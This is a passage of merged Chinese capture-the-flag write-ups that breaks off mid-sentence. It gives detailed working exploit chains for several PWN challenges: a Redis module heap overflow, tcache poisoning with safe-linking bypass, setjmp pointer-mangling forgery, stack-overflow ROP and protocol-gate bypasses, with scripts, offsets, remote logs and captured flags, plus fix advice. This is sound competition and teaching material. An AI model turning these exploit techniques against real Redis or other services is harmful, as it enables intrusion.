AUDIT <fmt>\n    -> snprintf(dst, 0x200, fmt, token, &sub_176B,
                             canary ^ hash(token), fd_pair)
COMMIT <data>    -> sub_1960(src+1, len-7)

AUDIT 最多两次,第二次只是为了把内部计数推到 2。格式化字符串:

AUDIT %2$lx.%3$lx.
  -> <&sub_176B>.<canary ^ hash(token)>.

于是:

kpie   = sub_176B - 0x176B
canary = (canary ^ splitmix(token)) ^ splitmix(token)

7.2 COMMIT 栈溢出

sub_1960 把 len-7 字节拷进 256 字节栈缓冲,最多可写 768 字节,canary 已泄露:

data  = b"A" * 264
data += p64(canary)
data += p64(0)
data += p64(kpie + 0x176B)   # ROP 到 keeper 代理
COMMIT <data>

sub_176B 向客户端写 KEEPER\n 并把连接代理到 oracle。keeper 的 seccomp
屏蔽 execve/open,但 read/write 正常。

8. oracle

8.1 协议与 VM

HELLO\n              -> O5 <token>
PROGRAM <16 字节>    -> LOADED
RUN\n                -> 执行结果

VM 检查(a1 为 4 个寄存器的数组):

*(u64*)(a1 + 0x10) == &sub_16B6          // r2
*(u64*)(a1 + 0x08) == splitmix(*(u64*)a1 ^ MAGIC)          // r1 = hash(r0 ^ MAGIC)
*(u64*)(a1 + 0x18) == r1 ^ rol(r2 ^ r0, 21)                // r3
...
((void (*)(void))r2)();                  // 调 r2,sub_16B6 读 /home/ctf/flag

寄存器下标是有符号 byte:

idx = -4..-1  ->  a1 + 0x00 .. a1 + 0x18   (r0..r3)
idx =  0..7   ->  a1 + 0x20 ..

初始 r2 = &sub_1684,不满足校验,需要改寄存器。

指令格式:

def instr(op, a1, a2=0, imm=0):
    return bytes([op & 0xff, a1 & 0xff, a2 & 0xff]) + b"\x00" * 5 + p64(imm)

8.2 泄露 + 改寄存器 + 取 flag

  1. PROGRAM instr(1, -2)(push r2 = &sub_1684),RUN → TRACE <&sub_1684>;
    pie = leak - 0x1684。
  2. token 即 r0;MAGIC = 0x4F5241434C453576;
    r1 = splitmix(token ^ MAGIC);r2 = pie + 0x16B6;
    r3 = r1 ^ rol(r2 ^ token, 21)。
  3. 下发三条指令:
prog  = instr(2, -2, 0, r2)   # 写 r2
prog += instr(2, -1, 0, r3)   # 写 r3
prog += instr(4, 0, 0, 0)     # 触发 opcode 4
  1. RUN → sub_16B6 读 /home/ctf/flag 并原样发回。

9. 完整远程利用

脚本:remote_full.py

1. TCP 连接 1.14.76.59:23875
2. 发 L/I/R/C/S/E,A 发 DTD + <zzz/> + 120/300 个不同名字
3. B 直到回 "DOC "(dict seed 随机,多试几个连接)
4. 之后每帧用 D 操作码:
     发送 2 字节长度帧(broker/manifest/keeper/oracle 原帧)
     读取 4 字节长度 + 正文
5. 复用 pwn_chain.py 的 broker_stage -> manifest_stage -> keeper_stage -> oracle_stage

实测(2026-10-24,第 2 次连接过网关):

[+] GATE PASSED at attempt 1
[*] broker ticket b'ec8fcd8c'
[*] PIE base = 0x5615489f9000
[*] draft buffer = 0x5615497e7770
[*] broker forwarder says b'BRIDGE\n'
[*] manifest secret = 0xc398d2d5b20c132d
[*] manifest trigger says b'MANIFEST\n'
[*] keeper hello: b'K4 e68bad3a971fbcbd\n'
[*] keeper proxy greeting: b'KEEPER\n'
[*] oracle hello: b'O5 4372547917a7d776\n'
[*] oracle trace: b'TRACE 000055d98b1a3684\n'
[*] FLAG RESPONSE: b'DASCTF{70327800596870093690811579077759}\n'

复现(本地):

# WSL/Ubuntu,需要 root 建 /run/xmlbridge 与 /home/ctf/flag
# 必须 ulimit -n 65535:broker 会把 fd dup 到 3 万~6 万
cd <题目目录>
bash run_local.sh          # 起四个后端服务 + pwn_chain.py
# 或
python3 local_full.py      # 起服务 + 前端进程 + D 隧道,全链本地验证
python3 remote_full.py 1   # 打远程

10. 文件索引

文件

说明

remote_full.py

最终远程利用:网关爆破 + D 隧道 + 四级链

local_full.py

本地全链(起服务 + 前端进程 + D 隧道)

pwn_chain.py

broker→manifestvault→keeper→oracle 的 stage 实现

run_local.sh

本地起四个后端服务并跑 pwn_chain.py

SOLUTION.md

分析/推导过程(含第 7 节网关绕过细节)

front_end.py

前端 L/I/R/C/S/E/A/B/D 协议客户端

hook*.c / probe_*.py

堆跟踪、布局探测、网关实验脚本

11. 踩坑记录

  • 一开始把 sub_3147 的 ++*(u64*)([0x6098]+0x10) 当成「已释放块+0x10 的
    无用写」,因为和网关的
    qword_60A0+4 差 0xC;后来发现 A 的 dict 结构
    复用了
    s_1 起点,这个写精确命中 dict->size。
  • dict 表与 s_2 的相邻关系依赖 E 释放 s_1 后 A 的分配顺序;
    用
    L 单 item(item 文本 0x20)、I target 文本 0x100、R=hi、E=wo
    时布局稳定:dict 结构 =
    s_1,表 = s_1+0x5A0,s_2 = s_1+0x5B0。
  • 越界 entry 的 name 会覆盖 s_2 的 chunk size,但 s_2 不会被 free,
    不影响后续;如果哪天 chunk size 被 allocator 用到,需要额外处理。
  • dict 的 hash seed 每个进程随机,网关需要多连接重试;120 个名字比 300 个
    更容易在 dict grow 之前命中(grow 会把表换掉,越界消失)。

五、vaultcache(PWN,已解)

羊城杯 vaultcache Writeup

题目:vaultcache(保险库缓存与代理利用,HARD)
远程:
nc 1.14.76.59 29596(比赛环境)
结果:
DASCTF{41014504357684252657273883456679}

0. 题目结构

附件提供了一套完整的服务链:

redis-server (7.2) + vaultcache.so
        │  模块 RELAY
        ▼
   vaultbroker  (/tmp/vault-broker.sock)
        │  sub_145A
        ▼
   routeledger  (/run/redisrelay/ledger/routeledger.sock)
        │  op 0x60 tunnel
        ▼
   routecouncil (/run/redisrelay/council/routecouncil.sock)
        │  sub_2C80
        ▼
   /home/ctf/council.flag

四层各自有协议和校验:

层

入口

关键点

Redis 模块

VAULT.PUT/GET/PATCH/RENDER、RESTORE

模块记录 + sds 堆布局,8 字节溢出

vaultbroker

5 字节头 + 4 字节 BE 长度,VLTB3\n

槽位 UAF / tcache poisoning / setjmp 校验

routeledger

LGD5 / LGR5,16 字节头

模块 VM、manifest、permit、0x60 隧道

routecouncil

RNC5 / RNR5,16 字节前缀

计划 MAC、permit、tcache、gate 对象

最终利用链:

Redis sds 溢出
  -> 64KB OOB 读写
  -> 改模块记录 fptr 为 relay
  -> 转接 broker
  -> broker tcache poison
  -> 改 jmp_buf 校验 + RIP
  -> longjmp 到 sub_145A
  -> routeledger 协议门禁
  -> 0x60 隧道到 routecouncil
  -> council 计划 / permit / tcache / gate
  -> sub_2C80 读 fd 4
  -> flag

1. Redis 模块层:8 字节溢出到 64KB OOB

1.1 模块记录布局

vaultcache.so 中一条 VaultRecs 记录的头是 768 字节:

struct rec {
    uint64_t len0;      // +0x00
    uint64_t len1;      // +0x08
    void    *data;      // +0x10
    void    *fptr;      // +0x18,默认 sub_81E0
    void    *self;      // +0x20
};

VAULT.RENDER 最终会通过 sub_8290 调用 fptr(data, len, ctx)。默认 fptr = base + 0x81E0,只做普通的长度截断输出;如果把它改成模块里的 sub_8940,就会把当前 Redis 客户端的 fd 转接到 /tmp/vault-broker.sock。

1.2 RDB 反序列化的长度检查

模块的 rdb_load(sub_82F0)对保存字符串的长度检查是:

if (n[0] < 0x2FF || n[0] > 0x2FF + 8) fail;

也就是说,保存的字符串长度最多可以是 0x2FF + 8 = 0x307,而模块实际只按 0x2FF 左右申请/复制,最后会多写最多 8 字节,形成固定的 8 字节堆溢出。

RDB 模块流需要包含:

  • 0x07:模块 ID 长度
  • 16 字节模块 ID 8155aba5b5179cb000
  • 0x02:UINT opcode(保存长度)
  • 0x05:STRING opcode(保存数据)
  • 0x00:EOF
  • Redis CRC64(反射多项式 0x95AC9329AC4BC9B5,小端 8 字节尾)

构造:

def make_payload(saved_len, blob):
    p  = b"\x07" + bytes.fromhex("8155aba5b5179cb000")
    p += b"\x02" + enc_len(saved_len)
    p += b"\x05" + enc_len(len(blob)) + blob
    p += b"\x00\x0b\x00"
    p += struct.pack("<Q", crc64(p))
    return p

1.3 溢出目标:相邻 sds 头

Redis 字符串 s1x 的值用 SET s1x <762字节> 创建时,sds 的实际分配是 768 字节级别(768 类)。模块记录的数据块也是 768 类。只要让「被 RESTORE 的记录数据块」紧挨在 s1x 的 sds 之前,8 字节溢出就会落到 sds 头:

[record data 768] [sds header + data 768]
                  ^ 8 字节溢出

将 sds 头改成:

len   = 0xffff
alloc = 0xffff
flags = 0x02   (SDS_TYPE_16)

之后 GET s1x 会按 0xffff 长度返回 65535 字节,SETRANGE s1x <off> <data> 也能越界写 64KB。

1.4 堆 grooming

直接 PUT r0 -> SET s1 -> DEL r0 -> RESTORE 在老版本/干净堆上可用,但远程实例被多次探测后堆已经碎片化,记录数据块不一定会落在 s1 前面。稳定做法是:

  1. 先创建 64 个 768 字节的 filler 记录,把空闲的 768 类块消耗掉;
  2. VAULT.PUT pad <768字节>,pad 的 header/data 从 top 分配;
  3. SET s1x <762字节>,sds 从 top 分配,紧跟在 pad 的 data 后面;
  4. DEL pad,释放 pad 的 data/header;
  5. RESTORE key1 ...,rdb_load 的 header/data 复用刚释放的 pad 块,data 正好在 s1 前面;
  6. 8 字节溢出写入 s1 的 sds 头。

本地验证脚本的核心:

for i in range(fill):
    r.cmd("VAULT.PUT", f"fill{i}", b"F" * 768)

r.cmd("VAULT.PUT", "pad", b"P" * 768)
r.cmd("SET", "s1x", b"S" * 762)
r.cmd("DEL", "pad")

r.cmd("RESTORE", "key1", "0",
      make_payload(768, b"A" * 768 + bytes.fromhex("ffffffff02414141")))

g = r.cmd("GET", "s1x")
assert len(g) == 65535

1.5 泄露模块记录并改 fptr

溢出成功后,创建 4 个不同长度的目标记录:

for name, n in [("rt768x", 768), ("rt800x", 800),
                ("rt1024x", 1024), ("rt1280x", 1280)]:
    r.cmd("VAULT.PUT", name, bytes([ord(name[2])]) * n)

从 GET s1x 的 64KB 数据里按字节扫描记录头:

q0 = u64(leak, off)       # len0
q1 = u64(leak, off + 8)   # len1
q3 = u64(leak, off + 24)  # fptr
q4 = u64(leak, off + 32)  # self

if q0 == q1 and 768 <= q0 <= 2048 and (q3 & 0xFFF) == 0x1E0:
    data = u64(leak, off + 16)
    base = q4 - off          # 记录头地址 - 泄露偏移
    fptr = q3

模块基址:

modbase = fptr - 0x81E0
relay   = modbase + 0x8940

先用 VAULT.RENDER rt768x 读一次,响应的偏移 96 处会带出当前 Redis 客户端指针(client)。然后通过 SETRANGE 改目标记录:

r.cmd("SETRANGE", "s1x", str(data - base + 16), p64(client))  # data_ptr = client
r.cmd("SETRANGE", "s1x", str(hdr  - base + 24), p64(relay))   # fptr = sub_8940

最后发送:

*2
$12
VAULT.RENDER
$6
rt768x

模块调用 sub_8940(client),经 client+16 -> conn+16 -> fd 取出 Redis 客户端 fd,与 /tmp/vault-broker.sock 建立连接,进入 broker 协议。此时会收到:

VLTB3\n

2. vaultbroker:从 UAF 到 ledger relay

2.1 协议

broker 的每一帧:

opcode (1B) | length (4B, big-endian) | payload

常用 opcode:

op

含义

C

create slot

F

free slot

R

read 8 bytes from slot+off

E

write 8 bytes to slot+off

S / G

初始化槽位

T

trigger(校验 + longjmp)

F 只释放底层块,不清理槽位指针和 R/E 标志,因此 free 后仍可 R/E,形成 UAF。

2.2 槽位布局

broker 的槽位数组在 base + 0x5040,每个槽位 32 字节:

+0x00 ptr
+0x08 size
+0x10 alloc
+0x14 r
+0x18 e
+0x1c pad

C 的 payload 是 idx, kind, data...;kind=3 分配 0x330,kind=0 按数据长度分配。

初始化后的稳定布局(本地/远程一致):

s   = A
s0  = A + 0x340
ptr = A + 0x680
ptr0= A + 0x9C0
s1  = A + 0xDA0
...

其中 s1 是保存 jmp_buf 的关键对象。

2.3 Stage A:泄露堆地址

# create 0,1 两个 0x330,free 两个
fdA = u64(b.read(0, 0))
A   = (fdA << 12) | 0x860
B   = A + 0x340
s1  = B - 0xB60
s0  = s1 - 0xA60

把 slot1 的 fd 改成 s0 ^ (B >> 12)(safe-linking 编码),再 create 0x330 的 slot2/3,使 slot3 的 ptr 落到 s0。读 slot3 + 0x18 得到 base + 0x1309:

base = u64(b.read(3, 0x18)) - 0x1309

2.4 Stage B:tcache poisoning 覆盖槽位数组

再创建两个 0x3D0 块(slot4/5),free 两个,读 slot4 得到 fd。用 safe-linking 把 tcache 头指向 base + 0x5040:

fdC = u64(b.read(4, 0))
C   = (fdC << 12) | (top & 0xFFF)
D   = C + 0x3E0
b.write(5, 0, p64((base + 0x5040) ^ (D >> 12)))

然后分配两个块,第二次分配就会返回槽位数组地址,用 payload 写入伪造槽位:

payload = bytearray(0x160)
payload[8*32:8*32+32] = slot(base + 0x4FE0, 0x1000, 1, 1, 0)  # slot8 -> GOT(read)
payload[9*32:9*32+32] = slot(s1, 0x3D0, 1, 1, 1)             # slot9 -> jmp_buf
b.create(6, 0, b"E" * 0x3D0)
b.create(10, 0, bytes(payload))

R 8 0 读 GOT 里的 read 地址,得到 libc 基址:

libc_read = u64(b.read(8, 0))
libc = libc_read - 0xF82A0

2.5 绕过 T 的校验并 longjmp

broker 的 T 会检查 s_1 中某个 qword:

check = ROL(s1 ^ (base + 0x1309) ^ libc_read, 23) ^ 0x8B7D51E29AC4630F

同时 setjmp 保存的 RSP/RIP 是 pointer-mangled 的:

mangled = ROL(value ^ guard, 17)
guard   = ROR(mangled_saved_rip, 17) ^ (base + 0x2116)

先读 slot9 + 0x78 得到 mangled saved RIP,恢复 guard:

mangled_rip = u64(b.read(9, 0x78))
guard = ror(mangled_rip, 17) ^ (base + 0x2116)

check = (rol(s1 ^ (base + 0x1309) ^ libc_read, 23)
         ^ 0x8B7D51E29AC4630F) & M

b.write(9, 0x20, p64(check))
b.write(9, 0x78, p64(rol((base + 0x145A) ^ guard, 17)))

这里把 RIP 改成 base + 0x145A(sub_145A,broker 连接 ledger 并转接的 relay)。发送 T 后:

broker  --RL5/VAULT/LEDGER-->  routeledger

我们也试过把 RIP 指向一段 open/read/write 的 ROP,直接读 /home/ctf/council.flag,但远程返回全 0:broker 与 council 的 mount namespace/权限不同,直接读文件不可行。最终走协议链。

3. routeledger:协议门禁与 0x60 隧道

ledger 与 routecouncil 的二进制与之前 redisrelay 题中的版本一致,所以可以直接复用那题写好的协议库:

  • ledger_lib.py:完成 ping、VM 泄露、key 恢复、manifest/permit、0x40 gate、0x60 隧道。
  • council_poc.py:完成 council 的 nonce/key 恢复、计划、permit、tcache、gate、0x40 读 flag。

3.1 帧格式

u32 le total_len | "LGD5" | op | idx | idx2 | 0
| u32 body_len | u32 seq | body

响应 magic 为 LGR5,seq 必须严格递增。

3.2 关键流程

ledger_lib.run(transport) 内部:

  1. 0x7F ping 泄露 keyE[0..3];
  2. 0x10/0x11 的 manifest VM 读取 key 表,重建:
  • PIE base
  • key0/key1/kD0/kD1/keyF
  1. 0x11 link gate;
  2. 0x20/0x21/0x22 构造并泄露 0x98 pair;
  3. 用 tcache poison 写 .bss 的 permit(0x6270)和 relay(0x6070);
  4. 0x40 gate 把 dword_6024 置 1;
  5. 0x60 隧道向 council 发 ping,返回 council 响应帧。

成功日志:

[ledger] reconstructed base=...
[ledger] link gate ok
[ledger] permit template written ...
[ledger] permit check ok, 0x1F8 relay pair created
[ledger] relay template written ...
[ledger] council gate ok (dword_6024=1) -> RL5/COUNCIL
[ledger] council ping reply: 30000000524e523570...

之后 ledger 会话保持存活,可以继续用 0x60 把 council 帧转发给 council。

3.3 0x60 隧道封装

council_poc.run() 需要 transport(frame) -> frame,而 council 在 ledger 后面。封装:

class LedgerCouncil:
    def __init__(self, t):
        self.t = t

    def __call__(self, frame):
        n = struct.unpack("<I", frame[:4])[0]
        pkt = frame[4:4 + n]                  # council packet,无 4B 前缀
        lf = ledger_lib.build_frame(0x60, 0, 0, pkt, self.t.seq)
        resp = self.t(lf)
        self.t.seq = (self.t.seq + 1) & 0xffffffff
        r = ledger_lib.parse_frame(resp)
        assert r["op"] == 0xB1
        body = r["body"]                       # council packet
        return struct.pack("<I", len(body)) + body

注意:ledger_lib 已经用一个 council 0x7F ping(council seq=1),所以 council 阶段要从 seq_start=2 开始,否则 council 会拒绝重复 seq。

4. routecouncil:计划、permit、tcache 与 flag

4.1 协议

u32 le total_len | "RNC5" | op | idx | idx2 | 0
| u32 body_len | u32 seq | body

响应 magic RNR5;连接建立后先发送 16 字节前缀:

RC5/LEDGER/COUNC

4.2 关键阶段

council_poc.run(transport, seq_start=2):

  1. 0x10 idx=0xFC..0xFF:利用 (u8)(ptra-4) == idx 的符号差,连续 4 次泄露 16 个 qword,恢复 nonce 和 K0..K5。
  2. 0x7F ping:拿到 PIE base,同时选择 sub_2600 的实现变体(v8m2=True/False)。
  3. 0x20 计划:
  • 计算 32 个 plan hash;
  • 构造 CNCPRMT5 permit 对象(0x00 magic、K0/K1、base+0x5360、base+0x50D0、base+0x2740、hash chain、MAC);
  • RLE 编码为 0x200 字节(0x400 字节的 (1, value) 对);
  • 通过 sub_2740 的 32 字节 plan 校验,返回 0x90。
  1. 0x30 / 0x31 / 0x32:创建两个 CBALLOT5 0x178 对象、释放、再读 40 字节 UAF,泄露 obj1。
  2. 0x33:safe-linking tcache poison,目标 base + 0x50D0。
  3. 0x34:第二次 malloc 落到 base+0x50D0,写入 CNCGATE5 gate 对象。
  4. 0x40:进入 permit 分支,调用 sub_2C80:
  • open("/home/ctf/council.flag")(council 侧 fd 4)
  • read(fd 4, buf, 0xC0)
  • 通过 sub_2A90(0xC0, ...) 把 0xC0 + flag 发回
  • council_poc.run() 去掉尾部 NUL/CR/LF,返回 flag。

本地/远程日志末尾:

[*] op20 -> 90
[+] freed obj1 = ...
[*] op33 -> a3
[*] op34 -> a4
[*] op40 -> c0
FLAG b'DASCTF{41014504357684252657273883456679}'

5. 串联脚本

最终脚本 remote_full_flag.py 的流程:

s = socket.create_connection((HOST, PORT))          # 远程 Redis
module_phase(s)                                     # sds 溢出 + 改 fptr
broker_relay(s)                                     # tcache poison + longjmp 到 sub_145A
t = RelayTransport(s)                               # 之后的字节流就是 ledger
cf = ledger_lib.run(t)                              # ledger 门禁 + 0x60 隧道
flag = council_poc.run(LedgerCouncil(t), seq_start=2)
print(flag)

关键依赖:

  • redis_crc.py:Redis CRC64;
  • ledger_lib.py / council_poc.py:复用自 redisrelay(二进制相同);
  • remote_full_flag.py:模块 + broker + 两层协议的串联。

运行输出(节选):

PING b'PONG'
restore b'OK'
s1 len 65535
cands 4
broker greet b'VLTB3\n'
broker base 0x7f6aad4d9000 s1 0x555555a04040
trigger relay 0x7f6aad4da45a
[ledger] link gate ok
[ledger] permit check ok, 0x1F8 relay pair created
[ledger] council gate ok (dword_6024=1) -> RL5/COUNCIL
[+] nonce = ...
[+] base = ...  alt0=... alt1=...  v8m2=True
[*] op20 -> 90
[*] op33 -> a3
[*] op34 -> a4
[*] op40 -> c0
FLAG b'DASCTF{41014504357684252657273883456679}'

6. 踩坑记录

  1. RDB 模块流必须带 0x02/0x05/0x00,否则 RESTORE 会直接崩溃,不能只拼字符串。
  2. sds 大小类:SET s1x 768字节 会落到 896 类,不是 768 类;要用 762 字节,sds 分配才是 768 类,才能和记录数据块相邻。
  3. tcache 计数:最初只 free 一个块就 poison,第一次 malloc 仍返回原块;必须 free 两个,再改第二个的 fd,让第二次 malloc 返回目标。
  4. safe-linking:所有 tcache fd 都要写成 target ^ (chunk_addr >> 12),chunk 地址从泄露的 fd 左移 12 位恢复。
  5. longjmp 栈对齐:栈迁移到 s1+0x100 时,若 RSP = chain_addr,第一条 pop 会把 gadget 自身弹进寄存器,导致下一步跳到参数;正确是 RSP = chain_addr + 8,RIP = chain[0]。
  6. 直接读文件失败:broker 的 open("/home/ctf/council.flag") 返回 0 数据,说明 broker 与 council 并非同一 mount namespace/权限;/proc/1/root/... 也不行。最终必须走 ledger+council 协议,由 council 自己读 fd 4。
  7. council seq:ledger 阶段已经发过一次 council 0x7F ping(seq=1),council 阶段必须从 seq_start=2 开始,否则被 seq 检查拒绝。
  8. 协议库复用:ledger/council 二进制与之前 redisrelay 附件完全一致,直接复用那题的 ledger_lib.py / council_poc.py 可以省掉大量 MAC/VM 逆向工作;只需自己补 broker→ledger 的传输层。

7. 修复建议

  1. 模块 rdb_load 的长度上限应从 0x2FF + 8 收紧到实际分配长度,禁止溢出。
  2. 模块记录在使用前校验 data/fptr/self 指针与长度,RENDER 不要直接调用记录里的函数指针。
  3. broker 的 F 应清空槽位指针和 R/E 标志,避免 UAF;tcache 目标不应能指向槽位数组/.bss。
  4. setjmp 保存区应放在只读/独立映射,或对校验值使用不可预测的进程级密钥;不要用可读 GOT 值参与可预测的校验。
  5. ledger/council 的协议 MAC 不能只依赖“客户端能拿到”的 key 表;应使用真正的认证密钥,且对 seq/状态做严格校验。
  6. 容器层面给 council 单独的 mount namespace 和最小权限,flag 文件只对 council 进程可读;同时确保 broker/ledger 不能通过 /proc/<pid>/root 或 /proc/<pid>/mem 横向访问。

8. Flag

DASCTF{41014504357684252657273883456679}

六、cacheline(PWN,未完成,分析到底层)

cacheline(羊城杯 PWN)分析笔记

状态:未完成。模块 / broker / vault 三层的协议、密钥与对象图均已本地验证,
卡在 vault op64 的 pair/fold 聚合校验,最终 ROP 未实跑。
本文记录可复用的部分:三层协议、密钥恢复公式、对象方程与关键偏移。

0. 结构

HTTP(GET /cacheline?op=...&data=hex)
   └─ nginx worker + cacheline.so(模块层,跨请求 UAF)
        └─ unix socket → cachebroker(uid 1001)   (permit/mandate/shard/stamp 对象图 → commit → relay)
             └─ 转交 → cachevault(uid 1002)       (VM 记录流认证 → 两轮对象图 → op64 间接调用)
                  └─ flag: /home/vault/flag 已 open 并 dup2 到 fd 7

每层都有一次“对象图校验”:用随机密钥算出的 HMAC 串起多个对象,校验通过才进入下一层。

1. 模块层(cacheline.so)

  • 对象用 ngx_alloc 分配、ngx_pool_cleanup_add(r->pool) 注册,请求结束即 free;
    但指向对象的
    全局指针与 stage 状态保留 → 跨请求 UAF / 对象复用。
  • resize 要求新 0x180 块与旧 probe 同地址(用来确认复用成功)。
  • ledger/beacon 泄漏:beacon[7..10]、ledger[6],[8],[9]。
  • 密钥恢复(均已验证):
handler = beacon.a ^ rol(Kb,17)
k2      = beacon.e ^ H(handler, Kb, [Kb, handler])
k1      = beacon.k ^ H(handler, Kb, [k2, Kb])
conn    = ledger.o ^ H(k1, k2, [Kl, Kb])
  • 用 k1/k2 伪造 route(0x1a8)、seal(0xd8)、grant(0x218)、voucher(0x108) 的 5 组哈希,
    使
    v18 = route[12]^seal[10]^grant[14]^voucher[12] == 1,commit 后走 funcs[1] 返回 activated。

2. broker 层(cachebroker)

  • V 命令校验 linked probe/aperture 后回 8 字节:
  • sub=0 → broker_base + 0x4000(relay,PIE 泄漏)
  • sub=1 → key8(qword_7088)
  • sub=2 → key9(qword_7090)
  • key0 = H(key8, key9, [relay, 0x4F524B4559313233], 2)(qword_7080)。
  • 对象方程(全部按已知密钥现算):
  • shard/stamp 对:H1 = H(key?, ...),链式 fold(每轮把上一轮结果放回 words[0]);
  • permit/mandate:H2 与交叉指针;
  • commit 的间接调用:v95 = permit[1] ^ mandate_ptr ^ key9 ^ ROR(mandate[5],19),
    令其等于 relay 即转入 vault。
  • commit 成功后 broker 调用 relay 与 vault 建连,本连接切换到字节转发模式;
    回包即 vault 的
    CV4/READY。

3. vault 层(cachevault)

3.1 认证绕过(op=1 记录流)

op=1 的 payload 按 16 字节记录解析:

record: [op:1][arg:1][checksum:2][0:4][data:8]
checksum = (109*i) ^ rol16(op | arg<<8, 8) ^ 0x4B27      (i = 记录序号)

成功路径里 'S' 记录执行 v87 = *(u64*)(ctx + 8*v86 + 24),其中 v86 是 'A' 记录 有符号字节 的累加。
用 type=0/1/2 + arg=0xFD/0xFE/0xFF 恰好读到
ctx[0] / ctx[1] / ctx[2]:

记录序列: A(arg) → y → S → 0x8B
  • 'y' 要求 n23 == type-3(n23 同为由 signed char 累加);
  • 0x8B 收尾(v80=1)。

拿到 ctx[0..2] 后推导四个主密钥(已用 ticket 的 sub_15D0 反验一致):

ctx[27] = H(ctx0, 0x6A09E667F3BCC909, [ctx1, ctx2], 2)   // key1,记 ctx216
ctx[28] = H(ctx0, 0xBB67AE8584CAA73B, [ctx1, ctx2], 2)   // key2,记 ctx224
ctx[29] = H(ctx0, 0x3C6EF372FE94F82B, [ctx1, ctx2], 2)   // key3,记 ctx232
ctx[30] = H(ctx0, 0xA54FF53A5F1D36F1, [ctx1, ctx2], 2)

op=2 提交 H(ctx0, ctx1, [ctx2, 0x243F6A8885A308D3], 2) → 置 dword_7084=1,layer2 解锁。

3.2 PIE 基址泄漏(op44)

op44(绑定 context+plan)会写:

plan.q5 = ROL(context.q1 ^ plan ^ ctx[28] ^ sub_17F0, 21)

于是 dump plan(op42)后:

plan_addr = plan.q2 ^ ctx216
sub_17F0  = ROR(plan.q5,21) ^ ctx28 ^ plan_addr ^ plan.q4
pie_base  = sub_17F0 - 0x17F0        # 实测页对齐

3.3 对象图与 op64

  • 对象:CTICKET4(0x150) / VALCRED4(0xB0) / CONTEXT4(0x440) / CLVPLAN4(0x190) +
    4 对
    CLCHUNK4(0x140) / CLVSEAL4(0x98)。
  • 各层 opcode(create/link/free/dump/write):
    16-20(ticket)、21-25(cred)、32-36(context)、39-43(plan)、48-52(chunk)、53-57(seal);
    绑定:
    26(ticket+cred)、44(context+plan)、58(chunk+seal)。
  • HMAC 组合(ctx216/224/232 见上):
sub_15D0(o) = H(ctx216, ctx224, q0..q7, 8)
sub_1630(o) = H(ctx216^0x243F6A8885A308D3, ctx224, q0..q6, 7)
sub_1690(o) = H(ctx224, ctx216, q0..q6, 7)
sub_16E0(o) = H(ctx224^0x13198A2E03707344, ctx232, q0..q7, 8)
sub_1740(o) = H(ctx232, ctx224, q0..q6, 7)
sub_1790(o) = H(ctx232^0x3C6EF372FE94F82B, ctx224, q0..q6, 7)
  • op64 的 12 字节 payload:[ticket,cred,context,plan, 4× (chunk,seal)],
    最终调用:
v131 = ROR(plan.q5,21) ^ ctx[28] ^ plan ^ context.q1
v131(v102, v130, 0)      // rdi = 栈上 0x400 缓冲区

3.4 利用

把 v131 指向 base + 0x44e0:

000044e0: 48 8d 67 40 c3   lea rsp,[rdi+0x40] ; ret

rdi 正是那个 0x400 缓冲区,+0x40 起是 chunk 数据被拷进来的内容 → 直接当 ROP 栈:

pop rdi;7 / pop rsi;buf / pop rdx;0x100 / read@plt
pop rdi;1 / pop rsi;buf / pop rdx;0x100 / write@plt / _exit

偏移:pivot 0x44e0、pop rdi;ret 0x44f0、pop rsi;ret 0x4500、pop rdx;ret 0x4510、
read@plt 0x10e0、write@plt 0x10a0、_exit@plt 0x1150。flag 在 fd 7(启动时
open("/home/vault/flag", O_CLOEXEC) + dup2(...,7))。

4. 卡点与教训

  • 已本地验证:模块链 commit、broker commit 调 relay、vault 认证/主密钥、PIE 泄漏、对象创建与导入。
  • 卡点:op64 的 pair 聚合校验(0x2a74 test ecx)始终为 0 → 0xE4;
    pair 的 magic、交叉指针、sub_1740/sub_1790 HMAC 均已逐个断点确认匹配,失败点在更深的聚合/去重逻辑。
  • 教训:pivot gadget 要扫 lea rsp,[reg+imm]; ret,只扫 mov/xchg rsp,reg 会漏掉本题的关键跳板。

5. 文件索引

  • 反编译:work/ida/bin/{cacheline.so,cachebroker,cachevault}.pseudo.txt
  • 笔记:work/notes/reverse.md、work/notes/vault_progress.md、work/notes/vault_lastmile.md
  • 脚本:work/scripts/chain8.py(模块链)、broker_commit.py(broker commit)、
    vault_auth.py/vault_pie.py/vault_build.py/vault_pwn.py(vault 侧)

题目

进展与卡点

cacheline

三层协议(nginx 模块 → broker → vault)全部逆向完成:模块跨请求 UAF 与 5 组哈希、broker 的 V 泄漏与 permit/mandate 对象图、vault 的 session 泄漏与主密钥推导、PIE 泄漏(op44 → sub_17F0)均已本地验证;卡在 vault op64 的 pair/fold 聚合校验,最终 ROP 未实跑。

notebook

Linux kernel PWN,每连接启动全新 guest;已有 vmlinux、stripped 模块、符号表与模块反编译(notes/note_decomp.txt),未进入利用阶段。

BabyMenu

Windows 本地提权:以 ctfer 身份进入,分析 C:\Windows\System32\BabyMenu 下的自定义驱动漏洞并提权到 Administrator(禁止用公开 CVE);已完成环境与目标整理。

LibraryManagementSystem

Windows 提权:题目机内 win_server.exe -p 9999 main.exe 起服务,攻击机需同网段;已完成环境/流程整理,EXP 未完成。

edgecore / FedResNyFinLedgerOs

仅下载附件,未展开分析。

八、可复用经验

  1. 多级协议题先画清「帧格式 + 每级校验字段」,再用 gdb 在候选分支上断点定位失败项,比盲改 payload 快得多。
  2. pivot gadget 不能只扫 mov/xchg rsp,reg:lea rsp,[rdi+0x40]; ret(48 8d 67 40 c3)这类也要扫——cacheline 正是靠它把栈切到受控缓冲区。
  3. jemalloc 布局确定性可用于跨对象地址预测(redisrelay 的 stamp 地址),先重启多次验证稳定。
  4. 对象图 + HMAC 链的题,优先用「自己创建 → 绑定 → dump → 回放导入」保持对象合法,只改需要改的字段并重算对应 HMAC。
  5. Redis 模块类题(redisrelay / vaultcache)重点看模块命令注册、堆对象生命周期与 broker 转发帧格式;多级 uid 隔离意味着要逐层拿密钥。
  6. Windows 提权题先确认触发器(驱动 IOCTL/IRP)再写 EXP。
  7. 每步留日志/脚本:本次各题 work/ 均保留 IDA 伪代码、脚本与运行日志,便于回滚与写 WP。

本文档由 D:\Users\Lenovo\Desktop\羊城杯 下各题材料合并而成;各题 flag 均可从对应目录的 evidence 日志或原始 writeup 复核。

2. 逆向与原生 VM

千千的咲 Writeup

Flag:flag{WuTher1ng_Waves_ch1Sak1_6666}

0. 一句话解法

游戏要求点 4×4 宫格 3941 次。每 8 次点击被打包成 32 位整数 x(每格 4 bit,最低 4 bit 是第一下),
再经
